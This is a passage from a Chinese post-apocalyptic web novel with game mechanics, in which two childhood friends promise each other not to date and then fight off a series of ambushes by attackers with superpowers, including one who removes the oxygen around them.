江朗呆呆地坐在驾驶座上，陆燃问完后过了五六秒才突然扭过头：“什么？” 陆燃挑了挑眉：“你不是去问A市的可乐怎么换吗？所以一箱可乐要多少晶体？” 江朗：“哦……哦！我忘记问了。” 陆燃：“？” 他有些困惑，江朗回去不就只有这么一件事要做吗，怎么这也能忘？ 他稍微直起了身，神色也严肃了一些：“你没事吧？” 江朗一转脸就看见陆燃的脸离他只有一点点距离，瞬间大喊：“没事！我没事！” 陆燃：“？” 不过江朗确实很快打起了精神，开着车往他们的住所去了，陆燃也就不再追究这个奇怪的小插曲——就当江朗突然抽风了吧。 回到他们的小公寓后，江朗往沙发上一坐，眼神呆滞地沉思了一会儿。 然后从背包里掏出了一包柠檬味薯片，一瓶可乐，一桶全家桶装的冰淇淋。 陆燃：“？” “什么日子？吃这么奢侈？” 虽然他们物资充沛，但是江朗毕竟已经完全是末世思维了，所以大部分时间他其实都吃得挺节省，一直在为之后的不知道多少年做打算，少有这样直接拿垃圾食品轰炸自己的时刻。 江朗幽幽地抬起头：“我的心情有点受到了冲击。” 陆燃耸耸肩：“好吧，那晚上要不要吃火锅？” 江朗点点头：“吃！” 陆燃去后院挑了些新鲜食材出来，决定今天煮一份超高规格的火锅，顺便选了个西瓜出来，打算给江朗榨点西瓜汁。 虽然他至今没懂，江朗不是就是去问个可乐物价的事吗，怎么回来就呆成这样了。 地狱之火：“喂！怎么又是要我烧饭！” 陆燃一脸平静地回答：“因为污染物们都太弱小了，劳动不了您大驾。” 地狱之火：“哼哼……好吧，那算了，谁让这些虫豸如此弱小呢！” 陆燃拿地狱之火烧开了火锅底料，然后开始往里扔食材。 最后连锅带火一起搬去了客厅。 江朗被飘香的火锅味一勾，也顾不上忧愁了，光速从沙发上翻身起来准备开饭。 一顿饭下来，陆燃观察了一下江朗的脸色，确认不管原本萦绕在他心头的是什么事，应该都被火锅和西瓜汁和可乐和冰淇淋驱散了。 他觉得自己该安慰的已经安慰完了，而且显然很有成效：“我去睡了，碗你洗。” 江朗头也不抬地埋在碗里伸手比了个“OK”，继续干饭了。 干完饭之后，江朗认认真真洗了锅，然后就走进卧室准备睡觉。 陆燃已经睡着了，床上传来他清晰而平稳的呼吸声。 江朗小心翼翼地将自己的脚步声压到最低，然后在床边的地铺上躺了下来。 只是……虽然他躺平了，并且也到他平时睡觉的时间了，他却一点睡意都没有。 啊啊啊啊啊！ 都是陆承和周胤的错啊！ 在他脑子里放下这么大一个炸.弹！ 一想到……一想到陆燃之后可能会有对象，他就想……他就想什么呢？ 他也不知道。 如果陆燃有对象了的话，那他平时是不是就要去陪对象了？是不是就不会一直和他一起同进同出了？或者如果运气好点，陆燃他对象不介意带着他这个电灯泡……那也不一样啊！讲话的时候还得多考虑一个人的存在…… 他想象了一下那个场面。 比如他想讲个好笑的事，如果只有他和陆燃两个人的话，他就可以想到什么说什么，因为陆燃知道他的大部分脑回路，也知道他的大部分经历，哪怕他东讲一榔头西讲一榔头，陆燃也能知道他在说什么，但如果在场的人不止他和陆燃两个人，还有陆燃对象的话，那他还得组织语言……甚至更糟糕的！陆燃还得向他对象解释他的笑话！ 江朗忍不住焦虑地翻了个身。 然后呢？他们俩讲话的时候不止有他们两个人了还是最基础的，万一陆燃不要他给他开车了怎么办？ 明明一直是他给陆燃开车的啊…… 他开车技术很好的，他踩刹车的时候很平稳，陆燃甚至不会从睡梦状态醒来，万一他找个开车技术不好的对象怎么办呢？ 如果对方踩刹车的时候把陆燃吵醒了怎么办，陆燃起床气那么重，他还得为了对象忍住自己的起床气吗？！ 甚至更糟糕的，万一他找了个不会开车的对象怎么办呢？难道要陆燃给那人开车吗？？？！ 不行啊！ 他忍不住又翻了个身。 而且他和陆燃当初选游戏职业游戏技能游戏装备的时候，都是考虑两个人的情况啊……万一陆燃他对象要陆燃和他单独行动怎么办呢？ 哦……这个倒是没事，陆燃现在已经有地狱之火这个大面积攻击异能了。 但是……但是他还是不高兴，他已经习惯陆燃负责控制他负责攻击了。 他一想到陆燃已经用不上他了他就浑身一阵难受。 他又翻了个身。 甚至还有更可怕的！！！ 万一陆燃找的对象看不惯他呢？如果他跟陆燃说“我不喜欢你这个朋友，你和他少来往吧”怎么办呢？！ 江朗光是想想那个画面，都觉得天要塌了。 江朗翻来覆去，睡不着了。 不行！他得盯着所有有可能要追陆燃的人！让他们离陆燃远点！ 陆燃实在被江朗翻来覆去不睡的行为吵得不行了：“你失眠了？” 江朗这才注意到陆燃不知道什么时候已经醒了，支着手臂从床上俯视着他。 江朗：“呃……有点吧……” 陆燃：“在担心基地能不能把血肉战士的转职办法传开？” 江朗：“算……算是吧？” 陆燃和江朗一起长大，知道他有多不擅长讲谎话，看他眼神就差飘到天边去了，眉头一皱：“你到底在担心什么？” 江朗瞬间直起了身体。 他沉默了一会儿，决定老实交代，而且他也确实想知道答案。 “陆燃……呃，你会想找对象吗？” 陆燃：“？” 他的脸上闪过一丝迷茫，他想过江朗可能在担心的各种事，但完全没想到江朗会问出这么一句话。 陆燃：“为什么突然想到这个？” 江朗犹豫了一下，还是选择说了实话：“就我今天回写字楼的时候，听见了陆承和周胤在聊天，然后陆承说他想追你。” 陆燃：“？” 他稍微回忆了一下他和陆承的互动，哦，怪不得对方总是没话找话。 江朗：“所以，你会想找个对象吗？” 陆燃：“我很闲？” 江朗直白地指出：“末世了，大家都很闲，很多人确实是闲得没事做就去找对象了。” 陆燃：“……” 他不得不承认，江朗在有些时候脑子转得很快。 于是他思考了一下，他确实没什么兴趣和别人分享生活，所以他确实可以负责任地说：“极高的概率不会。” 黑暗中，他听见江朗松了口气。 他觉得这就算结束了。 但他刚躺回去，就听见江朗窸窸窣窣地爬了过来，然后趴在他床边对他说： “陆燃，我们能拉钩保证各自不会去找对象吗？” 陆燃：“……” 他很想说，他们二十多了，不是七岁。 但是这是江朗。 他无奈地叹了口气。 “可以。” 他伸出手，在黑暗中和江朗的小指勾在了一起。 “拉钩上吊，一百年不许变。” 第105章 第 105 章 我们是最好的朋友，所…… 和陆燃拉完钩后, 江朗瞬间又满血复活了！ 陆燃说了他不会找对象了！ 安全了！ 他感觉自己现在甚至很想昂首挺胸地去陆承面前宣布这个好消息！ 让他不要瞎打陆燃的主意！ 他躺了会儿，再次心情澎湃地从地铺上坐了起来。 然后在黑暗中盯着陆燃的睡颜看了起来。 黑暗中视物对现在的他来说非常轻松，他可以清晰地看见陆燃的脸。 陆燃睡觉的时候很安静, 很平静，江朗觉得只是看着他, 之前心中那种焦躁不安的心绪就都慢慢平复了下来, 他只想这样一直一直看着陆燃。 不会有任何人任何事插.入他们之中。 他起身钻进了陆燃的被子里，手紧紧地握住陆燃的手腕，好像这样就能确信陆燃永远都不会离开一样。 然后陆燃突然睁开了眼，冷冷地说： “算我求你, 睡觉吧。” 江朗：“哦哦好……” 陆燃无语地给江朗腾出了一点位置——本来一开始就问过他要不要拼一张床算了, 江朗他自己要打地铺的, 现在又要来睡床了。 江朗伸手一捞, 把地铺上的枕头捞了上来垫在自己脑袋底下。 “陆燃。” 陆燃再次睁开眼：“祖宗。” 江朗无视了陆燃的阴阳怪气，和陆燃一起长大, 他早就对任何维度的毒舌免疫了。 江朗停顿了一下, 然后异想天开地说：“如果我明天跟陆承说你不找对象他不信的话，你能不能和他说一下。” 陆燃：“……不能, 还有这有任何必要和他说吗？我都不知道他想追我, 我顶多觉得他话有点多。” 江朗：“当然有必要！” 江朗翻身面朝陆燃：“其实……其实如果你哪天真看上谁了，也不用真拿我们的约定当回事的, 只要我们还是最好的朋友就行了。” 陆燃真的很想问他到底为什么要为不可能发生的事浪费脑细胞和时间。 只是他还没来得及问出口, 江朗就继续问了：“我们是最好的朋友的对吧？” 他的话音里有些紧张, 陆燃只能叹了口气：“是的, 我们是最好的朋友。” 几秒后，他没忍住补了一句：“难道我有别的朋友吗？” 江朗：“万一以后有了呢？” 江朗：“不过如果有人想和你做朋友的话，我一定会对他进行非常严格的考核的。” 陆燃：“什么考核？” 江朗：“首先异能要对你有用, 其次脾气要好，不能对你发脾气，再次开车要平稳，最后要知道我才是你最好的朋友。” 他一一把刚刚在脑子里想好的条件全部说了出来。 陆燃：“……我觉得我这辈子都不用担心会有人想和我做朋友了。” 江朗再次无视了陆燃的阴阳怪气，稍微靠近了点陆燃，然后搂住了他。 陆燃：“又怎么了？” 江朗：“没事，我就是确认一下你还在。” 陆燃轻轻地叹了口气，由着江朗抱住了他。 不过至少江朗抱住他后倒是安静了下来，他再没听到江朗说一句话，耳边只有江朗和他缠绕在一起的呼吸声。 他很快就伴随着这样的呼吸声睡着了。 第二天醒来的时候，他就觉得他果然不该太放纵江朗的。 他醒来的时候感觉自己有点喘不上气。 然后睁眼一看：…… 江朗跟个树袋熊一样扒拉在他身上，或者说像八爪鱼一样。 脑袋正好卡在他脖子的位置，怪不得他一晚上都在做高龄毛衣太痒了的梦。 他伸手试图把江朗紧扣在他腰上的手拉开好起床。 然后就发现他拉不开。 “……” ……！江朗这什么劲啊？睡觉的时候手都这么难拉开？ “……江朗。” “……江朗！” 陆燃稍微提高了点声音，江朗终于动了。 他的眼皮眨了几下后睁开了眼。 江朗一睁眼就看见了陆燃的脸，心中非常愉快：“早上好啊陆燃。” 陆燃：“……把你手挪开，我要起床。” 江朗颇有些依依不舍：“你有什么事要去做吗？多睡会有什么不好的？” 陆燃：“吃饭算不算有事要做？” 江朗叹了口气，吃饭确实是正事。 他非常忧伤地放开了陆燃。 不过他很快又打起了精神。 天亮了，他要去找陆承他们，告诉他们陆燃不谈对象！ 于是陆燃就看着江朗雄赳赳气昂昂地走出了公寓。 由于他要去做的事太蠢了，所以陆燃懒得跟上，他宁可在公寓里和地狱之火聊天。 江朗出门找了一圈，他记得陆承和周胤之前提过他们大致的住所，不过毕竟没来过，而且A市也算挺大个城市，找路有点费劲。 但是他有必须出现在陆承眼前的理由。 所以虽然找错路了两次，最终，他还是成功来到了陆承和周胤所居住的那栋楼下。 然后就是希望他们还没出发去做任务了…… 江朗在楼下等了四个小时，终于等到了陆承和周胤出门。 他看见他们两人从楼梯口走出来时，立刻激动地迎了上去。 “我问过陆燃了！” 陆承和周胤一脸懵地看着江朗不知道从哪冒了出来，就这么直接站到了他们面前。 他们脑子里先是转了一下江朗为什么会在这这个问题，然后才注意到江朗说的话。 “陆燃说他不会找对象的。” 陆承：？ 其实现在比起陆燃愿不愿意被他追这个问题，他更想问这很值得江朗特意大早上的跑来他们楼下蹲他们吗？ 如果他没记错的话，他们住的地方至少差了半小时车程。 陆承：“……” 周胤：“……” 陆承笑了下：“好吧，看来是我入不了陆燃的法眼。” 江朗不喜欢听别人贬低自己，立刻解释道：“没有，不是你不够好，只是单纯的，陆燃不找对象，因为我们是最好的朋友。” 陆承和周胤脸上齐齐飘过一排的问号——这两句话之间有任何因果关系吗？ 他是怎么把这两句话排成因果关系的？ 周胤实在没忍住：“等等，什么叫因为你们是最好的朋友，所以陆燃不找对象？” 江朗困惑了一下，这很难理解吗？ “就是字面意思呀，因为我们是最好的朋友，如果任意一人找了对象的话，都会影响我们的友情，就不能一起去做所有事了，所以我和陆燃约定谁都不会找对象。” 陆承，周胤：“……” 他们齐齐露出了一种一言难尽，难以言喻的表情。 陆承实在没忍住：“你还不如告诉我你们就是一对，我还更好理解一点。” 他说完就有点后悔，他确实是个刻薄性子，但是江朗对他们来说毕竟算恩人，他该憋住的。 但江朗听完他的话，倒是认真思考了起来：“你说的也有道理，正常人可能确实会觉得这样更好理解一点，那我去问问陆燃我能不能对外宣称我们就是一对。” 陆承：“……” 周胤：“……” 你还知道正常人的想法啊！ 算了，算了，这俩人当他们的“最好的朋友”去吧。 陆承和周胤无力地朝江朗挥了挥手：“我们要去做任务了……再见。” 江朗于是从沉思中回过了神，笑着对他们说：“好啊，再见，一路顺风！” 陆承和周胤带着一种挥之不去的无力感离开了。 江朗对此很满意，他回了公寓，然后拽上陆燃一起出门巡逻。 然后就在巡逻路上，他们遇上了—— “江哥！陆哥！我还在想A市这么大，我得上哪去找你们呢！” 陈嘉佳在路边朝他们招手，她朝他们跑了过来。 也许是因为在山上住了太久，也许是因为运动量增大，也也许是因为单纯她用异能的次数急剧下降，陈嘉佳看上去健康了许多，脸色红润了，看上去也没有那么风吹就倒了，看上去像个健康活泼的小孩了。 “嘉佳！你们到了！” 江朗兴奋地下车迎上陈嘉佳，陆燃慢吞吞地下车，朝陈嘉佳点了点头。 “其实于檬的山还在挺远的地方，她让我先来看看你们在A市怎么样，而且她可能觉得我在山上太闷了吧，不过其实也还好，虽然当时确实该带几本书走的。” 江朗：“哦这倒不用担心，我们这A市这边认识一个朋友，他逃生的时候把他的漫画小说什么的都带上了，到时候让他借你们。” 陆燃看了江朗一眼，好奇宅男哥知道江朗就这样把他的库存卖了之后会是什么心情。 陈嘉佳来了，江朗就丰富了一下他们原本的巡逻路线，给陈嘉佳介绍了一下A市的各大地标，包括末世后的也包括末世前的，主打一个全方位参观，由于游览得太过深入，中午他们懒得回公寓了，随意地在野外加热了一个披萨开始三人分食。 “所以于檬现在在哪？远吗？她吃的还够吗？” 江朗一边吃一边问于檬的现状，脑子里盘算着要不要给于檬带点吃的去。 就在陈嘉佳准备放下手里的披萨报告一下她们的情况时——异变陡生！ 一只看不清形状的污染物以炮弹一样的速度猛地向他们袭来，眼看着就要跟炮仗一样砸进他们的披萨里。 然后眨眼间被陆燃控制在了半空。 江朗手忙脚乱地放下自己的披萨，放了个读条时间最短的技能，然后又过了一秒，陆燃的技能时间过去，这个突然袭来的污染物就直挺挺地掉在了地上。 只是……奇怪的是，它落地之后，原本诡异的形状就慢慢地改变了。 陆燃皱了皱眉，江朗惊讶地睁大了双眼。 陈嘉佳觉得手里的披萨突然吃不下去了。 因为这只污染物身上原本的绒毛与看上去黏糊糊的触手全都褪了个干净，然后变成了一个人。 一个看上去非常普通，非常正常的人类，有鼻子有眼的，甚至还穿着最普通的卫衣和牛仔裤，只是因为从半空中坠落所以一片血肉模糊的。 江朗：“什么情况？” 陆燃皱了皱眉：“可能异能方向就是怪物化。” 江朗：“那我们这算违反基地内杀人的条例吗？但他一开始真看不出来是个人啊……哦不对，我们在A市，不违规，那没事了。” 还是陈嘉佳将他们偏移的重点拉了回来：“他为什么要攻击我们？” 陆燃和江朗都沉默了一会儿，两个人各自在脑内过了遍最近发生的事。 然后最终回答道：“不知道。” 第106章 第 106 章 突如其来的攻击 陆燃和江朗起身翻了一下这个突如其来的攻击者身上有没有什么身份标识, 然后什么都没找到，完全就跟突然冒出来的污染物没有任何区别。 不过经此一遭，他们也没什么胃口吃饭了。 他们收拾了一下东西, 坐上了车。 朝前开去。 路上，江朗不停地问着陈嘉佳和于檬过来这一路有没有遇到什么事, 难搞的事或是好玩的事, 陈嘉佳认真挑拣了几件事回答，陆燃则在一旁听着，偶尔才插几句嘴。 这其乐融融的一幕终结于他们行进路上突然出现的一片电网。 电光闪烁，离他们仅有一米不到, 江朗疯狂地踩下了刹车, 但前座也正好穿过了那片电网。 陆燃在看见那片电网的一瞬间就给自己和后座的陈嘉佳拍上了一个防御卷轴, 真正穿过那片电网后, 他闷哼一声，抬头看了眼血条, 虽然感官上杀伤力极大, 但显示在血条上的情况倒还好，一旁的江朗受伤程度更严重点, 毕竟他忙着踩刹车, 没时间拍卷轴，但是他的再生异能已经迅捷地发挥起了作用, 他停下车后, 顺手给自己拍上一个防御卷轴, 然后开始搜寻四周。 就在他们俩要掏出红药回血的时候, 他们的血条突然自动回了起来，陆燃和江朗齐齐回头看陈嘉佳，陈嘉佳的脸色已经迅速地白了下来。 陆燃猛地皱眉：“停！” 陈嘉佳：“你们受伤了……” 陆燃：“我们受伤是可逆的, 而且我们两个人是游戏玩家，血条比正常异能者长得多，你本来就比正常异能者更脆一点，再给我们输血，如果对方朝着你来的话我们保不下你知道吗？” 陈嘉佳点了点头，停下了自己的异能，陆燃都给她一瓶红药，她迅速地喝了下去。 不过陆燃担心攻击者是朝着陈嘉佳来的确实担心错了，因为下一波攻击到了，那是个什么东西陆燃和江朗都说不清，但是从侧边飞了过来，而且很明显直冲着前座而来。 那应该不是个生物，看着像个圆形的石头上面长了一圈藤条，乍一看好像就是谁丢的大石块，但是那超出常理的速度令它在空气中发出了阵阵音爆声，而且不论是江朗还是陆燃，他们心中的危险预感都在跟个警铃一样疯狂大作，虽然知道大概率没用，但陆燃还是一边推开车门滚下车一边朝它释放了一个心灵震荡。 果然没用。 “轰”的一声！ 那块形状古怪的圆形石头猛地砸在了他们的车前座上，轰然一下将陆燃的座位不光砸出了一个大洞，甚至不知怎的腐蚀掉了整个座位，又过了两秒，它轰然炸开，越野车前部瞬间爆炸，黑烟与火焰同时升起。 陈嘉佳也不知什么时候已经从后座跑了出来。 陆燃非常火大，到底是谁在找死？ 他抬起手，最大范围的精神链接直接蔓延开去，覆盖了大约两个操场的范围。 找到了。 他的精神视野内出现了几个光点，但就在他要告诉江朗往哪攻击的时候，这些光点瞬间摆脱了他的钳制。 “自由。” 他们听力极佳的耳朵里出现了这么一道像是由风从远处送来的几乎要飘散开去的声音。 那是言灵者的群体debuff清除技能，在游戏中可以说是专门用来应对织灵者的群控的。 这些伏击者显然是有备而来，知道要打的人里有织灵者，就提前准备好了应对方式。 只是不知道他们知不知道自己要面对的是陆燃。 在精神链接被强行切断后，陆燃的第二个技能又到了。 “自由。” 第二个声音不同的言灵者的声音响了起来。 有那么一瞬间，陆燃觉得自己快被气笑了。 而更让他觉得自己被气笑了的是，随着这个第二个言灵者的声音响起，他耳内开始传来窸窸窣窣的声音，很轻，甚至因为距离过远而有一种断断续续信号时不时捕捉不到的感觉，但那些攻击者确实就是在反方向离开，离开他和江朗的攻击范围。 这些人原本所处的位置就对陆燃和江朗来说非常卡手，属于精神链接和湮灭之环这两个技能启动最大攻击范围能攻击到，其他的技能就稍微有些不好说的情况，而他们现在向后撤退，看来是要风筝他们了。 陆燃是真的被气笑了。 他站在原地，几秒后，疯狂的火焰从他们周围奔腾而出，以他们三人为圆心，几乎无度地向外蔓延开去。 鲜红的火焰像是流水般吞没涌过了周围所有的空间，将一切肉眼可见或肉眼不可见的物体烧成了焦黑。 然后它又光速退后缩小成了陆燃手里的一团小小的火焰。 这整个过程不超过五秒，但他们的耳朵里已经彻底安静了下来。 周围几乎没有一丝一毫的动静。 陆燃朝着之前看到的光点的大致方向走了过去。 看见了五具尸骨，和他之前看见的数量完全一致。 江朗和陈嘉佳从后面跟了上来。 江朗满头雾水：“到底是谁没事干来攻击我们？还是这种小队作战的状态？打劫的吗？难道说我们之前在上个空间泡里完成任务赚的晶体太多了被人知道了？” 江朗百思不得其解，想了半天又推翻了这个想法：“这也不对啊，大部分人应该都知道游戏玩家肯定会把晶体放背包里的吧，他们这明显是赶尽杀绝的打法，如果我们死了那背包也跟着消失了，这还能打劫啥？” “难道单纯是想打劫装备的？？” 江朗抓耳挠腮地想着可能的时候，陈嘉佳突然开口了： “会不会……会不会是冲我来的？” 她抿着嘴唇，看上去有几分自责和不安。 江朗和陆燃都一愣。 愣住的原因是这个可能确实很高。 时间点上来说，攻击确实是在陈嘉佳出现后才密集出现的。 动机上来说，非常有可能，陈嘉佳毕竟拥有能让普通人变为异能者的可能，在血肉战士的转职方法传遍各大基地之前，她就是异能者能为自己的普通人亲人或朋友提供最好的安全保障，现在血肉战士的方法刚开始传播，这些人完全可能是还不知道的时候就开始了这场行动。 而且他们在攻击的时候几乎都是朝着他们两人来的，有意识地避开了陈嘉佳，攻击手段也非常点对点。 陈嘉佳见他们两人都认真思考起了这个可能性，脸上的不安更甚。 江朗立刻注意到了她的表情：“如果他们真是冲你来的，那就更不能让他们得逞了！什么人啊，真想找你帮忙的话不会开口说？” 陆燃也罕见地安慰了一句：“你没什么需要担心的，大部分异能者都很难对我们造成什么真正的伤害。” 周围短暂地清净了，不过陆燃怀疑他们的公寓里可能也有埋伏，而且万一打起来的话他们最好避开有人住的地方，所以他们又在A市边缘且无人的位置找了个平房住。 陆燃和江朗轮流守夜，晚上倒是没有出现任何攻击。 第二天在陆燃的拍板下——他们决定暂时不动了。 用陆燃的原话说就是，懒得动了，等他们打上来再解决吧。 陈嘉佳似乎也被陆燃的态度感染了一些，中午吃饭的时候都能尝出饭的味道了。 这一等就是一整天。 一整天内，没有任何动静，就在陆燃和江朗以为之前的攻击只是有人脑抽了找上他们打劫的时候，他们等待已久的攻击终于出现了。 这次依旧是远距离攻击，而且大概是想趁着黑夜隐藏自己的行踪，可惜地狱之火无视隐藏无视距离，眨眼间就把攻击者化成了灰。 江朗松了口气：“看来今晚是能睡个好觉了。” 他话音刚落，就听见呼啸而来的子弹声。 如果只是一两颗子弹的话，哪怕是达姆弹也很难对他们的血线造成太严重的损伤，但是无需去看，光听，就知道呼啸而来的是一整片子弹。 江朗：“草！” 他快速捞起陈嘉佳，和陆燃一起跃至窗外，手中绳索勾住隔壁房旁边的路灯，快速离开了这个一秒后被打成了筛子的地方。 他现在觉得他们的猜测可能完全是错误的了。 如果这些人真是冲陈嘉佳来的，怎么想也不该连陈嘉佳一起攻击，陈嘉佳空有治愈能力但并不是他这样快速且自动的自我修复类，而且也缺乏快速逃生的手段，如果不是他们速度快到能把她带上，怎么想都很凶多吉少，对方如果真是冲陈嘉佳来的，怎么看也不该把自己的目标也一块扫射了吧！ 不过现在真不是什么适合思考敌人动机的时候。 因为他们逃离的速度显然不如远处的枪手转动一下方向的速度来得快，他们只是避开了第一波攻击，下一波攻击很快就跟着来了。 甚至没给他念一发湮灭之环的时间。 而这显然惹毛了陆燃。 江朗感到熟悉的热度擦着他和陈嘉佳而过——陆燃的火系异能是瞬发的，就那样席卷过了他们肉眼可见之处。 江朗已经不再需要逃窜，因为大概就连他自己在对方的位置，大概也没法隔着一片火海找到目标的位置，他将陈嘉佳置于身边，然后看向了那些子弹来的方向。 其实在陆燃开始放火前，依旧有一批子弹正在飞来，但是他也不知道陆燃这火有多高的温度或者什么其他的设定，总之那些子弹直接被熔化在了半空中，他甚至不需要再换个地方站了——他后知后觉地想起了地狱之火的自我介绍，确实啥都能烧啊。 就在江朗稍微松了口气，陆燃紧皱的眉头稍微松开了一些，正准备将地狱之火收回的时候，异变陡生。 江朗突然感到自己的呼吸……没那么顺畅了。 这个说法不精确，因为这个形容夸大了体感而低估了后果。 他依旧能“顺畅”地呼吸，空气还是照旧从他鼻子里进去从他鼻子里出来，中间没有受到任何阻碍，但是他知道自己没呼吸到氧气，胸口隐隐传来的窒闷感与他下意识想要大口呼吸的举动都让他意识到他们遇到了真正的大问题。 他快速和陆燃对视一眼。 陆燃的第一反应是扩大了地狱之火的攻击范围，一瞬间火焰弥漫而腾起，半径百米而高数十米的大火让A市的这一小隅显得比末世更末世，A市市中心的异能者们呆滞地看着远处升腾而起的火焰，一边思考末世干枯的植物都没几株了怎么会有这么大的山火一边收拾东西准备跑路，跑到一半才后知后觉地意识到——草！什么山火啊！这一看就是异能啊！末世呆了这么久都改不了前几十年的思维惯性啊…… 但这只是陆燃的第一反应，他很快意识到——尤其是依旧没呼吸到氧气之后——如果对手的异能是操纵空气，甚至可以操纵空气中的细分成分，那么火焰大概率对他无效，他大可以在自己周围制造一层真空环境。 于是他快速将地狱之火收了回来，他环视了一圈四周，他们选的这个地方是A市的最边缘，再往外是绵延的山群，往里是A市的建筑群，大部分异能是需要看得见操纵对象才能实施的，尤其是对方的操作看起来很精细——一旁的陈嘉佳完全没受到影响甚至看不出他们在经历什么就是明证——那么有两个选择，一个是在远处的山上，一个是那些高楼中。 他选择押注高楼，不管异能者们的五感在获取异能后有了多大的强化，大部分人还是有种惯性，觉得近处看得更清楚点。 “走。” 他简单吐出一个字，尽量减少氧气的消耗。 不管他们的身体得到了怎样的强化，但依旧是血肉之躯，如果持续断痒，大概率连江朗的再生异能都修复不上来。 江朗点点头，然后弯腰朝陈嘉佳挤出一个微笑：“嘉佳你在这里待一会儿，我和陆燃去找一下攻击的人。” 陈嘉佳并未注意到他们有什么不对，江朗的咬字虽然有些古怪，但没有到断裂的地步，而且她已经习惯了他们二人所向披靡的战绩，刚刚陆燃又放了好大一把火，她自然地以为他们只是要去检查一下敌人的尸体，于是点了点头。 陆燃和江朗快速地朝最近的那片高楼掠去。 一个个排查窗口显然太慢了，让江朗一栋一栋刷湮灭之环是理论上最合理的选项，只是这样依旧需要大量的3秒3秒的空隙以及他们清空CD的卷轴不够用了。 所以陆燃直接一拳砸在了那焦黑的墙体上。 焦黑的高楼的外皮瞬间如同脱落的树皮一般窸窸窣窣地朝下落了下来。 又一圈。 那高楼彻底承受不住外来的能量冲击，轰然倒塌。 江朗立刻知道陆燃是嫌常规攻击太慢，打算靠这种办法快速使敌人露面，于是立刻有学有样，朝另一头跑去，一拳砸在了最边缘的那栋楼的承重柱上。 然后顶着一头灰一头落石跑到了下一栋楼面前。 不过说实话，这一头灰一头落石真不算什么，首先，他本身都已经没法呼吸了，再往空气里混点让他更难呼吸的东西几乎毫无影响，其次，落石砸在他身上的那点伤害，是随时可以回血回上来的，但如果他们没法在一定时间找不到让他们的氧气消失的始作俑者并杀死对方，那伤害就不是能靠红药回上来的了。 两人分别从两头朝中间一幢一幢摧毁着这些好不容易撑过末世第一年的高楼。 异能的强化效果在他们身上展现得淋漓尽致，身体和速度强化异能在末世里是最低级最基础的异能是有原因的，因为其他特殊异能持有者基本会自动获得这些强化，就连陈嘉佳这样在末世前因为长期的营养不良和不见光导致的极限虚弱，在获得异能后都几乎恢复了至少是健康人的身体状态。 也就是说所谓的身体强化异能者其实只是刚好迈进了异能者的行列但没有获得任何特殊能力，而像陆燃与江朗这样的异能者哪怕平时几乎不用物理作战这种原始方式，但一旦需要使用，就一样可以爆发出巨大的能量。 远处的陈嘉佳看着他们的举动，眼中闪过一丝迷茫，一阵又一阵高楼轰然倒塌的声音在她耳边响起，因为隔了很远的距离，所以她是先看见高楼慢慢倒下的样子，然后才听见它们落地的声音。 就像是在看一个音画不同步的视频。 高楼塌下的速度甚至有些慢，就像是先变成了一叠歪歪扭扭的巨大积木，然后才终于失去了平衡，大块大块的石块向下落去。 这不对劲，陆燃和江朗他们不是只是去看敌人的尸体吗？为什么需要这么激进的手段？简直像是，简直像是没时间了一样！ 不详的预感在她心中闪过，她快速地朝那片还在下着石块雨的地方跑去. 陆燃砸到第四幢楼的时候，一个身影快速从楼另一侧的窗户中闪了出去。 陆燃眼神一凝，右拳硬生生地停在了距离墙面仅有一厘米的地方，他快速瞄准高楼中的一点，然后手中绳索射出，整个人快速向上飞去，确认自己距离那个正在逃离的身影够近之后，精神链接立刻放出。 那个身影停顿了一下。 但仅停顿了一下，几乎是瞬间，他就又开始了移动。 玩家，陆燃脑海中快速闪过这个判断。 看不出职业，毕竟基本每个职业都有解控技能，对方没用自己职业的攻击技能，而且一身黑色长风衣，装备也遮得严严实实的。 心灵震荡落下。 对方已经用过解控技能，江朗刚刚已经在吟诵湮灭之环的咒语。 但是对方依旧只是停顿了一瞬间，就又恢复了行动，以一种惊人的速度移出了湮灭之环正在形成的黑圈范围。 江朗愣了一下，连忙中断了自己的读条。 和陆燃一起向前追去。 卷轴，他们脑海中同时闪过这个念头，对方手里至少有加速卷轴和解控卷轴。 不知道他用的解控卷轴是哪种，《神域》里的解控卷轴有两种，好的是内置CD只有一秒的，差的是内置有30分钟的CD。 如果对方用的是后者，那么短期内就只能用这么一次解控卷轴，但如果是前者，那么他也许就得准备好和对方对拼卷轴的准备了。 “陆燃！” 陆燃转头，就看见一叠卷轴被江朗扔了出来，他伸手接住。 显然，江朗脑内和他转过了同样的想法，他丢过来的就是他们上次在空间泡内用剩下的CD清除卷轴，如果对方用的真是内置CD只有一秒的解控卷轴，那么显然陆燃就得用上这些CD清除卷轴了。 不过往好处想，高级解控卷轴很稀有，他们自己背包里就各有十张，但也仅有这二十张，这是江朗重生后全服搜罗搜罗来的，也就仅此而已了。 假设对方不是重生者——由于至今为止他们真是见了不少重生者，他们必须在这句话前加上“假设”二字——那么对方大概率手里不会有太多张。 其实这个解控卷轴的正式定义是解负面buff，他们原本是打算在自己撑不下去的时候快速用一张，异能并不像游戏技能一样有CD，他们的对手很快就又能抽走他们周围的氧气，但是就算是不到半秒的间隙也够他们勉强从窒息的危险中恢复过来并重新有撑过下一阶段的氧气了。 想到这里，陆燃看了一眼自己的血条，血条在缓慢下降，那速度不算快，比起来，远不如他们在C市面对的那株带毒的树给他们掉血效果来得快，但是他很清楚，如果类似的毒素给他们带来的掉血效果是匀速的话，这个缺氧效果就是变速的，在血条上最初看不出什么大危险，直到过了某个阶段就会断崖式下跌。 他引爆思维种子，那个穿黑风衣的人影因此在半空中直接停住了，就像是断线的风筝一般坠了下去——陆燃不知道为什么突然想到，断线的风筝一般从天上掉下来的速度挺慢的，所以这个常见的比喻其实不是很准确，非要比喻的话，他想比喻成突然脱钩的阳台。 那黑风衣的人影像个突然脱钩的阳台一样快速坠落，直逼地面，就当陆燃和江朗以为他其实没有高级卷轴或者只有那么一张但已经用完了的时候， 但是就在那人影即将爆裂在地面上时，他轻巧又快速地在空中跃了两下，然后平稳落地，继续飞快向前。 好的，对方用的真的是高级解控卷轴。 其实本来也没想过会那么轻松结束战斗，陆燃手中捏着的思维窃取无缝地接了上去，于是那道身影又停滞了一瞬，由于这一次没有地心引力给他搭位移上的顺风车，对方瞬间就解开了陆燃的控制。 卷轴堪称用得毫不心疼。 陆燃也扯开一张卷轴，使精神链接的CD提前清除。 顺便扯开了一张负面状态清除卷轴，窒息已久后的短暂的正常呼吸状态使他下意识地摄入了大量氧气，然后熟悉的窒息感就又回来了。 然后又是一张CD清除卷轴。 两张。 三张。 